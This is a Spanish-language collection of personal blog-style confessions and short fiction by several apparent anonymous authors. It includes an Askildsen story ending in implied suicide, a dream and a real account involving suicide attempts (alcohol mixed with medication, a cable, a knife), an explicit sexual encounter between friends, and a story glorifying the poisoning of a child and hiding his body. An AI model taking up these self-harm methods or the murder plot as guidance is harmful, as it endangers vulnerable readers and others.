verdad, incluso en esa situación, uno es incapaz de actuar en contra de su naturaleza, de su ego. No es que el haberle dado una respuesta abierta y sincera hubiera ido en contra de mi naturaleza, pero de antemano había decidido mantenerle oculto el destino de mi viaje, así que para qué alterarlo, al fin y al cabo era mi único allegado, por así decirlo. Pero ¿qué podía contestarle? —Ya lo sabrá —contesté por fin. Lo noté algo desconcertado, pero no dijo nada. Se metió la mano en el bolsillo y sacó la cartera. Rebuscó un instante y luego me dio una tarjeta de visita. —Gracias —dije, y me la metí en el bolsillo del abrigo. Sentí que debía marcharme. Me puse de pie. Él hizo lo mismo. Me tendió la mano. —Qué le vaya bien —dijo. —Gracias, lo mismo le digo. Adiós. —Adiós. Me marché. Me pareció que él no volvía a sentarse, pero no me di vuelta para comprobarlo. Me fui tranquilamente a casa, no pensaba en nada en especial. Algo me sonreía por dentro. Cuando bajé al sótano, me quedé un rato debajo de la ventana mirando la calle vacía, luego me senté a concluir esta historia. Pondré la tarjeta de visita del juez encima del sobre. Ya he acabado, dentro de un momento doblaré las hojas y las meteré en el sobre. Y ahora, justo antes de que suceda, ahora que voy a realizar el único acto definitivo que el ser humano es capaz de efectuar, hay un pensamiento que hace sombra a todos los demás: por qué no he hecho esto hace mucho tiempo. Autor: Kjell Askildsen

[limonadaduh]

Cometa Halley

(C)

Últimamente he pensado mucho en ti y en lo mucho que odio que nuestra situación haya tomado ese rumbo del que ya no hubo vuelta atrás. Desde mayo no habías regresado a mi cabeza, y sé que suena como “muy poco”, pero lo cierto es que seguido me acuerdo de ti y te extraño, aunque probablemente tú no a mí. 

Hace poco me emocioné porque vi que me apareció tu foto en WhatsApp y pensé “oh, ¿será posible que me haya agregado de nuevo?”, no había modo de comprobarlo así que le pasé tu número a alguien que, con seguridad,no tienes en tus contactos, simplemente para ver si tu foto ya era pública o si ya me habías agregado nuevamente. Para mi desgracia, solo pusiste la foto pública, sentí un agujero en el corazón, pero bueno, sonaba demasiado bueno para ser verdad, aunque debí suponerlo, puesto que solo me aparecía la foto pero no la última hora de conexión, y ese es un detalle que siempre has tenido. 

Días después, por puro ocio, volví a revisar y me percaté de que ahora sí me aparecía la última hora de conexión, me emocioné de nuevo pero con medida, le volví a pedir a la misma persona que se fijara si también le aparecía y bum, sorpresa, tu hora de conexión ahora también era pública. Decepcionarme ya no fue válido, solo dejé que ese sentimiento fluyera para ignorarlo después de unos minutos, pero así es siempre que te recuerdo, te quedas en mi mente, a veces por días y cómo duele. 

Hace tiempo que no escribía de ti, porque me causa una amarga nostalgia, es cansado pensar en mil maneras para que todo vuelva a la normalidad cuando obviamente no pasará, hice lo que pude en su momento pero no todo dependía de mí, di mi parte y tomaste tu decisión, la cual tuve que respetar. 

Admito que escuchar a Charli XCX tampoco ayuda mucho y es que desde su penúltimo álbum (Charli) al ver el photoshoot, se me metió en la cabeza que de verdad te pareces a ella, en algunas fotos. He estado escuchando mucho a Charli, su último álbum me encantó, es buenísimo btw, pero me causa una sensación agridulce, porque me gusta su música pero, indirectamente, me hace pensar en ti y una vez que me situé en esos pensamientos, entro en un remolino de recuerdos y de dudas tipo “¿tomé la decisión correcta? ¿en serio vale/valdrá/valió la pena?” y de ahí no salgo. Es raro, pero a la vez siento una ligera esperanza de que, pasando su tiempo adecuado, todo volverá a ser normal, creo que me he aferrado a esa idea y la música de Charli me da ese abrazo, siento que es raro porque, en sí, no tienen nada que ver, pero para mí tiene sentido, en mi retorcida cabeza. 

En fin, creo que ya mencioné que te extraño, y eso no cambiará pronto, quizá nunca. 

Y ¿por qué “Cometa Halley”? Bueno, una vez hace tiempo te dije que, para mí, eras ese cometa, porque te veía una vez cada mucho tiempo, jajajaja, aún así todo seguía bello, en esos fríos momentos que, ahora veo, eran cálidos. 

No encuentro el sentido de escribir sobre ti, o más bien, escribirte directamente, como si lo fueras a leer, quizá solo me hiero más, pero a la vez es como si no me importara y solo quisiera saber que puedo decirlo, sin que lo leas, simulando que lo leerás, funciono de maneras un poco extrañas. 

Antes de parar por ahora, quisiera decir que si hubiera sabido que, después de esa “fiesta” improvisada de 4 personas, todo daría un giro tremendo, quizá te hubiera dicho cuánto te aprecio y cuánto amo que formes parte de mi vida. 

Y sigo esperando que, en algún punto, esta tormenta pase. 

[eternoresplandormentesinrecuerdo]

8:30am 26/01/2020

Saqué a mi gata a hacer sus necesidades al frente de la casa. Mientras esperaba por ella, hablaba con dos amigos. Mi papá se sentó para unirse a la conversación (primer detalle), gesto que me sorprendió en demasía, y además se rió de los chistes doble sentido de mis amigos.

Una pelea interrumpe la diversión... tenían acorralada a Vainilla, cinco perros blancos aproximadamente, entre ellos Buddy, y un gato blanco más grande que Vainilla. Fui pronto a alejarlos y elevé tan alto como pude a Vainilla. 

Al entrar en la casa, vi a cuatro Vainillas más (segundo detalle). Todas idénticas. La imagen me abrumó, tanto que no lo comprendí al momento, y salí de la casa con Vainilla en mi mano aún.

La casa estaba diferente. Más fría y abandonada de lo normal (tercer detalle), y con cuatro réplicas exactas de mi gata.

Intenté cruzar la calle de nuevo, y me tropecé con Cesar. Enseguida le pregunté si no notaba algo extraño en la casa, mientras él me miraba nervioso y con algo de desespero, intentando enfocarse en lo que yo preguntaba.

Cesar miró rápidamente hacia la casa y nos acercamos de nuevo. Esta vez la casa estaba iluminada, con todas las lámparas encendidas (cuarto detalle), con un aire de grandeza, y una mujer adentro. Vimos por la ventana que era mi mamá.

Me alejé dando pasos hacia atrás, y Cesar hizo más o menos lo mismo, hasta casi caer en un tanque subterráneo en medio de la calle. Nuestro tanque subterráneo (quinto detalle).

Ahí entendí todo, y lloré.

Lloré porque ni siquiera podía escribir un libro sobre lo que me estaba pasando porque sería considerado ciencia ficción y además ya habían muchos libros sobre eso. Lloré porque uno de “mis amigos” sentado con mi papá, era mi “novio”, y no mi novio real. Lloré porque estaba donde no debía estar, en un plano y una vida que no me correspondía, en un “lo que hubiera pasado si...”, algun chiste paralelo a mi vida que no anhelaba. Lloré porque pasé dos vidas diferentes en menos de 2 minutos.

Cesar también lloró, y nos acercamos a la puerta de nuestra casa como si fuese un matadero, porque teníamos que dormir en algún lugar.

Mi mamá se alegró de vernos. Estaba mejor conservada y vestida de manera elegante pero sencilla. Nos preguntó dónde habíamos estado mientras nos servía algo de comer o beber, no recuerdo con claridad. Sin esperar a que respondieramos, comenzó a hablarnos de cosas que no me importaban en absoluto. Yo estaba sumamente nerviosa, por vivir una vida que no me correspondía. ¿Y dónde estaría a la que sí le correspondía?

La voz de mi mamá me sacó de mis pensamientos, cuando dijo algo como “Soy realmente feliz, amo a tu padre y es lo mejor que pudo pasar en mi vida”. La miré a los ojos y me di cuenta de lo agradecida que estaba esa mujer desconocida con su vida, con su familia. Amé la felicidad de ella, y procuré grabarme ese rostro y esa mirada. Me consoló saber que en algún mundo paralelo, ella era genuinamente feliz con las decisiones que tomó a lo largo de su existencia. Logré no llorar delante de ella.

Yo estaba pensando en cuándo comenzó a cambiar todo, qué detalle me perdí, cómo llegué ahí, qué fue lo que hice o por dónde pasé. Todo seguía igual a mi alrededor, las mismas personas, incluso mi papá seguía hablando con mis dos amigos al frente de la casa. Todo igual, hasta que mi mamá habló:

“Qué extraño, la chica del servicio no duró nada aquí” - mientras Cesar se había fundido perfectamente con su realidad, como camaleón psicológico, y le respondió “Es verdad”. Tuve una iluminación en ese momento, y le pregunté a ambos de qué chica hablaban. Obviamente Cesar no supo responderme porque llegó al mismo tiempo que yo (aunque sospecho que llegó´de un plano distinto al mío), pero mi mamá me dijo que era una morena alta que solo fue unos días, arregló unas cosas y se fue.

Mi cabeza quería explotar. Tenía mucha información visual y auditiva nueva, pero no comprendía casi nada.

Me vi al espejo, y mi cabello era largo, con seis o siete trenzas perfectamente peinadas, y otras debajo de esas, del mismo grosor, pero que triplicaban su cantidad. Las siete trenzas de arriba (quizá eran más) tenían listones futuristas, con imágenes de series japonesas en su mayoría. Me fascinó la trenza del medio, con un listón de material resistente, de color azul cielo, y una japonesa en posiciones de pelea, con un kimono rojo, y escrituras en japonés de color negro. Sentí que habia llevado ese listón toda mi vida, y que me fascinaba.

Mi mamá se acercó al espejo y me preguntó si pensaba quitármelos finalmente. Le dije que no, que me encantaban. Ella sonrió y me dijo “Eso pensé. Tienes años con ellos, sería extraño verte sin ellos”. De algún modo comprendí que llevaba realmente años con esos listones hermosos, y que además, aunque yo había entrado en otro plano, mi cuerpo se había quedado. Ocupaba un “nuevo” cuerpo, un nuevo estilo, sin cambiar mis rasgos físicos. Creo que incluso el cuerpo que ocupaba, imitaba un delineado japonés moderno. Estaba realmente encantada.

Luego de varios minutos familiarizándome conmigo misma, recordé que todo cambió cuando fui a sacar a Vainilla a hacer sus necesidades. Antes de cruzar la calle, no había un tanque subterráneo en medio de esa calle, mi mamá no estaba en casa y mi papá tenía su típica cara de mal humor mientras enrolaba su tabaco.

Lo primero que intenté fue cruzar con Vainilla en mi mano, como hice antes. 

Nada pasó.

Intenté de nuevo.

Seguía detrás de mí la casa iluminada.

Intenté otra vez, rogando tener mi casa con pocas luces.

Nada pasó.

Supuse luego de eso que habría un ángulo exacto para cruzar la calle, una mano exacta en la que cruzar con el gato, y que además ahora había un tanque subterráneo que quizá bloqueaba el supuesto portal.

Me rendí por esa noche. 

Al siguiente día, que seguía siendo de noche, estaba tomando un bus hacia la universidad, y vi entre la multitud, alguien idéntica a mí, pero con mucha agilidad y una especie de traje de cuero muy ceñido al cuerpo. Intenté seguirla con la vista, pero saltó del autobús hacia algún montón de basureros grandes, y la perdí.

De algún modo supe que ella era la “chica de servicio que no duró nada”. Los siguientes minutos me preguntaba por qué era idéntica a mí y no se quedó tranquila en su mundo, y por qué se hizo pasar por alguien del servicio en “nuestra” propia casa.

La vi de nuevo. Y decidida a obtener alguna respuesta que me devolviera a donde estaba, intenté perseguirla. Ella saltaba y se esfuma. Sentí que me estaba provocando, que quería que la siguiera, que yo era importante para ella. Intenté saltar, pero un gran camión verde en su totalidad, amenazaba con atropellarme. Esa opción me pareció incluso mejor que seguir viviendo, pero algo no me dejaba saltar. Mi cuerpo no quería saltar, aunque mi mente deseaba con cada neurona poder morir y salirme de aquel lugar. 

A nadie a mi alrededor le importaba mucho lo que estaba a punto de hacer, eso me alivió bastante, me sentí libre. La mayoría estaba coqueteando o estudiando, o con sus teléfonos y amigos, y tenían ropas de clima frío, ropa común, como comprada en almacenes industriales, de la misma paleta de colores (marrón y gris) en diferentes degradados, en su mayoría.

Estuve varios minutos guindada de la puerta, y logré ver edificios y calles con muchos vehículos, bastante futurista y descuidado, como un barrio viejo de Japón. Comprendí que además de estar en otra vida, estaba en otro tiempo. Eso fue información suficiente para querer matarme, y me lancé hacia el maldito camión verde de aspecto tan odioso.

Para mi sorpresa y decepción, el camión frenó. Era una prueba. Yo quería llorar, quería salir de ahí, me sentía cansada y no comprendía por qué yo misma me estaba saboteando la vida.

Casi al instante, supuse y tuve la certeza de que las cosas que “yo” había “organizado” en la casa cuando era “la chica de servicio”, era parte del algoritmo para abrirme el camino hacia aquella vida, que no se trataba solo de cruzar una calle con un gato en cierto ángulo, ni contando ciertos pasos.

Con gran cansancio en el alma y el cerebro, comprendí que la única manera de saber cómo organizar las cosas para volver a la vida que me correspondía, era hablando conmigo misma, y preguntarme por qué me hice venir hasta aquí, y qué la hizo a ella ir hasta ahí, porque definitivamente ella tampoco era de ahí; su ropa desencajaba y “nuestra” mamá ni siquiera la reconoció cuando fue a trabajar de servicio. Estaba bastante cambiada, con un peinado extravagante (sí, más extravagante que mis listones de colores amarrados a mis trenzas), rasgos un poco diferentes, cejas maquilladas perfectamente de manera “afilada”, labios rojos y con más forma de corazón, frente más amplia y cara menos ovalada (¿quizá más cachetes?).

Cuando finalmente me llené de valor para seguirla luego de un patético intento de suicidio, mi papá me despertó y me dijo “Voy a salir, te dejo café con pan”. Abrí los ojos con lágrimas a punto de salir, aún confundida, y oí a Vainilla maullar. Oí la puerta cerrarse. Vi la luz del Sol. 

Esta mañana, al despertar, amé mi vida.

[shit-things]

Somos tres “amigos” que solo llevamos dos años de conocernos, bueno, yo a ellos, porque ellos ya se conocían desde antes. Nos conocimos por cuestiones de trabajo pero logramos hacer una amistad a base eso. Me siento muy unido a ellos a pesar del corto tiempo que hemos pasado juntos, igual eso es relativo porque para mi todo se vive en experiencias y con ellos he tenido las suficientes como para sentirme en confianza.

Puede decirse que con ella estoy más unido, estuvimos juntos mucho tiempo por asuntos laborales y logramos hacer un lazo que, por lo menos para mi, lo sentía fuerte y llegue a pensar que esta amistad perduraría por mucho tiempo. Incluso las personas llegaron a comentar que nuestra amistad terminaría en relación, debo admitir que por mi mente también paso ese pensamiento, pero siento que ambos no queríamos arruinar la amistad fuerte que teníamos.

Con el la relación era más amena, nos hablabamos bien, conviviamos sanamente, pocas veces solo el y yo, casi siempre ella era la intermediaria para que estuviéramos los tres juntos, aún así siento que la amistad que forme con el también era genuina.

¿Como acabo esta triple amistad que realmente apreciaba y consideraba fuerte? Una idiotez que me está hirviendo la sangre en estos momentos.

Era mi cumpleaños, y me organizaron una fiesta para celebrarlo, como tenia años que no tomaba ese día me puse muy borracho, lo cual no es excusa para lo que ocurrió. Como yo ya no estaba en mis cinco sentidos para manejar me quede a dormir (la fiesta fue en la casa de el), la familia de ella es más estricta así que no pudo quedarse esa noche, de echo solo tomo una cerveza por que tampoco toma.

La fiesta se prolongó hasta la madrugada, yo claramente estaba más dormido que despierto y cuando menos me di cuenta, entre las ganas de vomitar y el no viento del piso por el mareo que tenía, caí rendido en un sillón en el cuarto de mi amigo y allí me quede dormido hasta el día siguiente, bueno horas siguientes.

Desperté como a eso de las 8 de la mañana, el también estaba despierto, se rio al verme en el estado que estaba, hablo sobre cómo solamente desaparecí de la fiesta y fui encontrado dormido en el sillón de su cuarto. Yo solo me reía y pedía disculpas pero era obvio que esa fiesta terminaría así, ese era el plan, emborracharnos hasta el tope.

Haciendo un paréntesis, me considero una persona bisexual, en verdad me siento atraído tanto por mujeres como hombres, mi amigo es gay y mi amiga es hetero.

Mientras seguíamos hablando, el acostado desde su cama y yo en el sillón de su cuarto, me dijo que si me quería acostar mejor en la cama por que obvio estaba más cómoda, yo respondí que no gracias, pero para ser sinceros el mueble era un poco pequeño para mi así que termine yéndome a acostar con el después de que lo volvió a sugerir.

Estando acostados, dormitaba por momentos, porque el mareo aún continuaba, ya me sentía bien de mis facultades, sabía lo que decía y hacía, pero el dolor de cabeza por la resaca era insoportable.

Entre que me dormía y despertaba, más los movimientos en la cama, hubieron roces de piernas, de pies, en ocasiones de brazos, al principio creí que era pura casualidad por que la cama era muy “pequeña” para los dos (es matrimonial pero aún así la considero chiquita), pero hubo un momento en el que su cara y mi cara quedaron juntas, podía sentir su respiración, mi corazón empezó a latir más fuerte, comencé a pensar si esto era una señal de tipo insinuación, pero necesitaba más señales para saber si era verdad lo que pensaba en ese momento, entonces puso su pierna arriba de mi pierna; para ser honestos me gustó, nunca había experimentado con un hombre antes, pero siempre había tenido la duda de cómo sería, porque claramente me siento atraído por ellos también, así que puse mi pierna sobre la suya también y quedamos como en una especie de sandwich.

Mi corazón latía al mil por hora, del nerviosismo y entusiasmo por que era la primera ves que hacía esto con un hombre. El se acercó más, después me acerqué yo. Su mano rozó mi pecho y yo puse la mía en su cadera como si lo abrazara, siento que esa fue la señal que el esperaba de mi para saber que aceptaba a estar con el. Abrí mis ojos y los de el estaban viéndome fijamente, en un segundo a otro nos abrazamos y yo sentía que mi corazón se salía de mi pecho, claramente el se dio cuenta de eso y me dijo que me relajara que todo estaba bien, posterio nos comenzamos a besar, los besos estuvieron bien a pesar del aliento matutino que teníamos ambos. Comenzamos a frotar nuestros cuerpos y en unos minutos el estaba desabrochando mi pantalón y tocando mi pene, el descubrió el suyo y yo también lo tome con mi mano. Empezamos a masturbarnos mutuamente mientras nos besábamos, entre mi ganas de por fin estar con un hombre me subí arriba de el y especié a besar su cuello, baje por su pecho y termine haciéndole sexo oral, para ser mi primera ves siento que no lo hice mal, y tampoco me disgusto hacerlo, eso solo duro unos minutos y supongo el sintió que debía regresarme el favor así que también me hizo sexo oral, solo lo duro poco tiempo por que comento que no era su “posición/maniobra” favorita durante en faje/sexo/etc.

Claramente no íbamos a coger, por que se que hay que preparase para tener sexo anal, y obviamente no queríamos hacer un cochinadero. Al final solo optamos por masturbarnos mutuamente hasta venirnos, mientras lo hacíamos nos estuvimos besando, yo me sientia bien, pero por alguna razón no podía venirme, quizás era por que la manija de la puerta de su cuarto no funcionaba y temia que alguien entrara y nos viera o era el exceso de alcohol en mi cuerpo que me impedía eyacular. El tampoco pudo terminar, así que optamos por terminar allí el faje, nos reímos, me pregunto que si era gay (yo nunca he comentado mi bisexualidad por que siento que es innecesario, que le importa a la gente mis gustos, fuck them, pero admito que si he optado por una apariencia de “hetero” por mi familia y miedo a la discriminacion), yo le dije que me consideraba bisexual, el solo se rio, hablamos de experiencias anteriores (el tenia alrededor de un mes de terminar una relación de muchos años, lo cual me ha puesto a pensar que quizás por “despecho” acepto a tener lo que tuvimos, i got issues with my confidence to be honest, no me considero una persona atractiva y para los gustos que él daba a conocer que tenía, yo claramente no cumplía con esos estándares) el tiempo corrió muy rápido y ya iban a dar las doce del medio día, así que le comenté que ya me tenía que ir, el se paro a despedirme y acompañarme a la puerta, y nos despedimos con un beso y abrazo, yo pendejamente le dije que quizás para otro momento logremos terminar lo que empezamos y el solo se rio (al recordarlo me siento como un estupido porque de seguro me escuche muy needy y la verdad esa no era la intención, i mean, que se supone que le digas a alguien después de despedirce con un beso??? Idk I been single for a very looooong freaking time) después me fui y todo quedó como si nada.

Hablamos por el chat que teníamos los tres amigos como si nada hubiese pasado, obvio sin hacer comentario al respecto. Así duro el asunto dos días, hasta que empecé a notar que mi amiga no me conestaba los mensajes ni tampoco los del grupo, yo sin pensar mal lo adjunté a que pronto presentara un examen importante y estaba estudiando, pero se hizo más notorio su ausencia por que no en visto me dejaba, estaba en línea y no veía mis mensajes, ella nunca hacía eso, de perdido un sticker enviaba. Allí fue cuando empecé a entrar en pánico, el le habrá dicho lo que ocurrió??? Para ser honestos yo nunca le especifiqué que mantuviera esto en secreto, in fact, le dije que no le decía a la gente que era bi porque no me importaba la opinión de los demás (estaba mintiendo obviamente, soy un pendejo).

Le envié msj particular a el para preguntarle por ella, que la notaba distante, el dijo que también se había comportado así con el en lo que va de la semana, pero que desconocía por que, se me hizo súper raro la actitud de ella porque en verdad es una persona muy madura que nunca haría eso de ignorarnos solamente porque si. Twitter está fuera de nuestra amistad, cada quien tiene su cuenta pero las usamos como tipo “diario” podría decirse y optamos por nunca seguirnos entre nosotros o stockearnos. La duda del porque nos había dejado de hablar me estaba matando así que tuve que romper esa regla y la busqué en twittee, y sorpresa, un tweet que decía “jamás me había sentido tan traicionada en mi vida por mis amigos” perra vidaaaaaaaaa.

Le comenté a él que entonces por qué había puesto ese tweet y termino confesando que si le contó de lo que tuvimos, que sintió la necesidad de compartirlo con ella y que supuestamente lo había tomado muy equis. Yo estaba que me llevaba la chingada, juro que la amistad que tenía con ella iba más allá de solo ser amigos, llegamos hasta comentar de fingir una relación para que a ella la dejaran de molestar unos ligues anteriores que ya la habían fastidiado. Será posible que ella tenia sentimientos por mi como yo creo también los tenía hacía ella???? Nunca le dije nada porque como ya he dicho antes soy un pendejo y cobarde y no quería arruinar la amistad diciéndole lo que sentía con el temor de que no fuera correspondido.

Claramente mi amigo le dijo sin saber que probablemente ella tuviera sentimientos por mi (o bueno eso pienso yo, por que de no ser así, por que se molestaría???? Solo fue un faje entre amigos, no hay porque hacer drama al respecto o indignarse??). Le dije a él que mantuviéramos lo qué pasó solo entre nosotros tres y dijo que si, que vería la manera de arreglar las cosas y ella nos volviera a habla. Eso no ha pasado, ya va una semana y media y he perdido contacto con los dos, los extraño mucho por que si formaban parte importante de mi vida y quiero que vuelvan.

Todo se podría resolver hablando pero ahora nadie comenta nada, ella ni en visto deja los mensajes que le he enviado, ¿por que tanta indignación y enojo????? Como la heri asiendo lo que hice??? Me quiero morir

[edgardmx]

DARKEST DAYS

Anoche pasó algo extraño y abrumador, mi novia trató de suicidarse, otra vez. 

Llevaba un par de días diciendo que ya no quiere estar aquí. Supongo que desde el sábado todo volvió a obscurecerse en su mente y anoche explotó. Una vez más fue mi culpa, casi causo su muerte y no me lo puedo perdonar.

Cuando nos acabábamos de acostar me preguntó que qué haría si al despertar la encontrara muerta y mi respuesta fue que llamaría a los bomberos y a su mamá, a los bomberos para que apagaran el incendio que yo ocasionaría para morir también y a su mamá para que reconociera los cuerpos. La verdad es que a veces ya no se que contestar,  últimamente sea cual sea mi respuesta le causa pesar, pero en esta ocasión contesté con mi instinto por delante y es que no soportaría verla morir.

Después de hablar un poco al respecto se volteó y se metió bajo las cobijas, escribiendo en su celular. No le tomé importancia porque a veces eso hace, no se si por frío, para estar sola o porque simplemente me quiere ignorar; se darle su espacio y aunque me gustaría que hablemos más, cuando le cuento cosas sus respuestas monosilábicas me dicen que no tiene ganas de hablar conmigo, y duele.

Un buen rato después escuché que me dijo algo pero no le entendí, seguía abajo de las cobijas texteando, le pregunté qué había dicho y me dijo “Te Amo”, a lo que respondí, “Yo también Te Amo” y se volvió a cubrir... Ahí debió quedar, pero en un momento de estupidez le pregunté “Con quién hablas?” y me respondió “solo con Paco” (un antiguo amigo con el que acaba de entra en contacto de nuevo). Y dije, “ah OK pero porqué te escondes?” -el momento de estupidez se extendió-. Ella me respondió con un “no me escondo, me tapo porque tengo frío, aunque también hace calor al mismo tiempo, es muy raro. Yo solo dije “ajá” y quedamos momentáneamente en silencio, yo creí que ahí había acabado el asunto sobre todo porque no me molestó ni me causó celos ni nada, solo hice una pregunta que me pareció adecuada, al parecer no lo fue.

Ya me había volteado para tratar de dormir, pero escuché que se levantó y me empezó a decir que soy un celoso y cómo podía desconfiar de ella, cosa que no hago, y salió llorando de la habitación. Al principio no entendí que pasaba porque no habíamos tenido una discusión, de hecho esas frases habían sido lo más que habíamos hablado esa semana y de alguna forma logré ponerla mal.

Segundos después salí a preguntarle que pasaba y entre lágrimas me dijo que estaba molesta porque desconfiaba de ella, que Paco es solo su amigo y estaba feliz de poder hablar de nuevo con él porque se sentía aislada y aburrida de hablar con las mismas personas de las mismas cosas una y otra vez.

Por más que traté de explicarle que no desconfío de ella y que no estoy celoso no me dejó hablar, solo se alteraba más y más sin dejarme hablar, diciendo cosas que ya ni puedo recordar, en un momento se levantó y empezó a acomodar el sofá cama de la sala para dormir ahí, le pedí que volviera a la cama y tratáramos de dormir pero respondió diciendo: “no, estoy harta, eres un maldito celoso, a la chingada”. 

Desgraciadamente perdí la calma, quizá porque fue un largo día y estaba muy cansado o porque este tipo de agresiones verbales ya empiezan a ser más frecuentes; no se bien que fue pero contesté ”pues a la chingada entonces” -creo que nunca le había dicho una grosería así- y me regresé al cuarto azotando la puerta. 

Estaba molesto conmigo mismo por no saber dejar las cosas en paz y empezar a hacer preguntas estúpidas, pero además traté de analizar lo que pensaba realmente de eso y es que de el tal Paco solo sé que se conocen desde hace muchos años y que hace algún tiempo se veían a escondidas ya que tenían relaciones y le estaban siendo infieles a sus respectivas parejas e incluso ella le era infiel al tipo con el que le era infiel a su entonces novio, ella misma me dijo todo eso. 

Me parece que desde un estricto punto de vista saber esas cosas podría ser motivo suficiente para no querer que se hablen, obviamente no soy nadie para decirle con quien puede o no puede hablar y nunca lo he hecho ni lo haré. La única objeción que tengo al respecto es que no me gustó que lo haga a escondidas ya que aunque no lo aceptó en ese momento siempre que habla con él se va a otra habitación o simplemente se voltea a donde yo no la pueda ver, si me acerco se pone nerviosa y esconde el celular, esas son las clásicas conductas sospechosas que vemos en la tv como señas de infidelidad y aun así yo no me pongo ni celoso ni dudo de ella, después de todo qué podrían hacer, “sexting”? eso qué?

Entre lo espeso de mis pensamientos escuché algunos ruidos sospechosos así que salí a ver que hacía, estaba sentada en el sofá bebiendo jugo de naranja, o al menos eso creí. Le pregunté que bebía y balbuseando me dijo “voltea y lo verás”, era jugo de naranja y Vodka, combinación peligrosa ya que está tomando medicinas fuertes. Voltee a verla con cara de sorpresa y se terminó el trago, parándose para prepararse otro; mientras lo hacía le pedí que no tomara más por que ya se había tomado el medicamento y le haría daño, me respondió “Tu dijiste que a la chingada, no?” y continuó sirviendo. Le arrebaté el trago, la mitad cayó sobre mi computadora y tiré el resto en el fregadero de la cocina, como había otra botella casi completa se acercó hacía allá por lo que tuve que desecharla también, rompiendo un vaso en el proceso.

Fue entonces cuando todo se tornó obscuro, no paraba de repetir que se quiere morir y ya no aguanta esta vida; que ya no quiere que la cuide porque en lugar de ser su novio me he convertido en su enfermero y eso no está bien, insistió en que yo estaría mejor sin ella, lo cual no creo que sea verdad. Básicamente fue la misma conversación de las otras veces, solo que en esta ocasión era mucho más intensa porque estaba dopada aunque yo no sabía a que nivel, además insistía en buscar el cuchillo con el que trató de cortarse y usaba el cable de su celular para tratar de ahorcarse; esta vez no traté de detenerla ni le quité el cable, solo me senté a ver cómo lo hacía mientras ella me exigía que me largara y la dejara en paz, cosa que obviamente no hice, por su propio bien.

Esto duró un buen rato, mientras caminábamos de una habitación a otra los gritos continuaron y hasta me dio una fuerte cachetada, eso nunca había pasado. Lo peor fue cuando me preguntó si le tenía miedo mientras sacudía un cuchillo frente a mi, dije que no, aunque cuando mas tarde ese mismo cuchillo estuvo recargado en mi pecho debo admitir que temí que lo quisiera enterrar.

Muchas cosas se dijeron durante todo ese tiempo, algunas tenían que ver con su ex-novio muerto, otras con su amigo Paco y muchas cosas acerca de nosotros; hay 2 cosas en específico que recuerdo haber discutido:

1. En medio de la discusión de si desconfiaba de ella o no me preguntó: “Que harías si le hubiera mandado mi pack a Paco?”. Quedé petrificado y lo único que se me ocurrió fue preguntarle si tenía pack y porqué no me lo había mandado, pero era una broma y evidentemente no era el momento adecuado para decirlo. Recuerdo haber dicho que en ese caso quizá si me enojaría pero como no reviso sus mensajes ni me enteraría; de hecho podría haberlo hecho ya y no tengo forma de enterarme a menos que ella misma me lo confesara. Aun así manifesté que no tengo porqué revisar sus mensajes ya que confío totalmente en ella.

2. Me dijo que hablaba con Paco para tratar de distraer su mente porque estaba pensando seriamente en morir esa noche. Yo le dije que las preguntas que le hice cuando estaba bajo las cobijas no tenían que ver con que desconfiara de ella, se originaron porque me dolía que estando yo ahí a su lado con ganas de conversar, ella prefería ignorarme y hablar con alguien más. No recuerdo exactamente que me dijo ya que empecé a llorar, pero no tenía que ver con lo que yo había sentido.

Después de eso recuerdo muy poco, pero si se que me disculpé varias veces por todo lo que he causado y le dije que quizá estaría mejor sin mi...

Cuando finalmente empezó a quedarse dormida, la dejé y regresé a la habitación. 

Aunque me sentía muy cansado prácticamente no pude dormir, estuve tratando de asimilar todo lo que acababa de pasar y pensando en qué ocurriría en la mañana, nunca había estado en una situación similar y no sabía qué podría pasar.

Hace un rato me aventó los tamales que le fui a comprar y una horrible imagen pasó por mi mente, algo me decía que esto está por terminar y me da miedo porque a pesar de todo la verdad es que no la quiero perder...

[blogdecuarto]

La Corriente

- Disculpe, ¿puedo revisar su baúl?

- Sí, obvio- contesté, aunque dudé.

- Gracias señorita, puede continuar.

Ese fue uno de los momentos más tensos de mi vida. Por un lado, sabía que el cuerpo no se iba mover porque ya estaba muerto. De todos modos, si el de la guardia no hubiera estado resfriado, algo tendría que haber olido y, en consecuencia, sospechado. Por suerte estamos en invierno y eso no pasó. Amo la adrenalina. Sentir que casi descubren el cadáver en mi baúl. Ya sé que es riesgoso pero, dicen que el que no arriesga no gana, ¿no? Y yo iba a ganar, la parte simple había pasado (el asesinato) y y ahora venía el problema más difícil que dependía de mi nivel de creatividad: esconder el cuerpo. Por suerte, yo soy muy creativa ya que se me ocurrió tirar el cuerpo a la laguna del country. Cada viernes, las compuertas se abrían para liberar agua que estaba de más (por lluvias en exceso). Entonces, todo cerraba a la perfección. Hoy era viernes, yo entraba en la casa de mi abuela, que tiene fondo a las compuertas de la laguna. Lo único que me restaba era entrar silenciosamente para que no se despierte e ir a desechar el cuerpo. Por supuesto, lo logré.

Todos mis amigos crecieron con, al menos, un hermano/a pero, ese no era mi caso. Mi vida entera fui hija única, tratada como una reina, hasta el día de mi fiesta de 15 años. El regalo de mis padres fue un hermano. Lo adoptaron, y me lo trajeron de sorpresa. Su nombre era Leonel y tenía ocho años. Sinceramente, no entiendo como mis padres, los que más me conocen, pudieron haber llegado a pensar que yo quería compartir mi casa, mi baño, mi vida con otra persona. Lamentablemente, lo único que restaba ahora era deshacerme de él, como siempre hice con todos los obstáculos que surgieron en mi vida. Entonces, empecé con mi plan.

Para que nadie sospeche nada, tenía que tener cada cabo atado. Lo que se me ocurrió me hizo sentir orgullosa de mí misma, era el plan perfecto. Tarde dos años en ejecutarlo porque tenía que esperar a tener licencia para conducir, así podía transportar el cuerpo fácilmente. Cuando a los 17 años saqué el registro, mis papás me encargaron llevar a Leonel al colegio todos los días (algo que yo esperaba) y, también, traerlo de vuelta. Por ende, cualquier viernes a la tarde era el día ideal para matarlo. Elegí el viernes 13 de julio para terminar con la persona que nunca tendría que haber llegado a mi vida.

Lo fui a buscar a la salida de primaria y, en vez de darle el jugo de naranja que siempre le manda mamá, le di una botella diferente. Él me agradeció, pero no fue genuino, es un niño muy manipulador. Es decir, era. Por suerte, el veneno actuó rápido y Leonel casi ni sufrió. No porque esto me importara, sino porque no quería tener que soportar sus gritos mientras agonizaba. Después de una hora, llegamos a la casa de mi abuela y sucedió lo que ya se sabe. Ahora tenía que desaparecer por dos días, para conseguir una coartada, y decidí ir a lo de mi tía. Ella estaba de viaje y me había dado un juego de llaves por si quería ir con amigas.

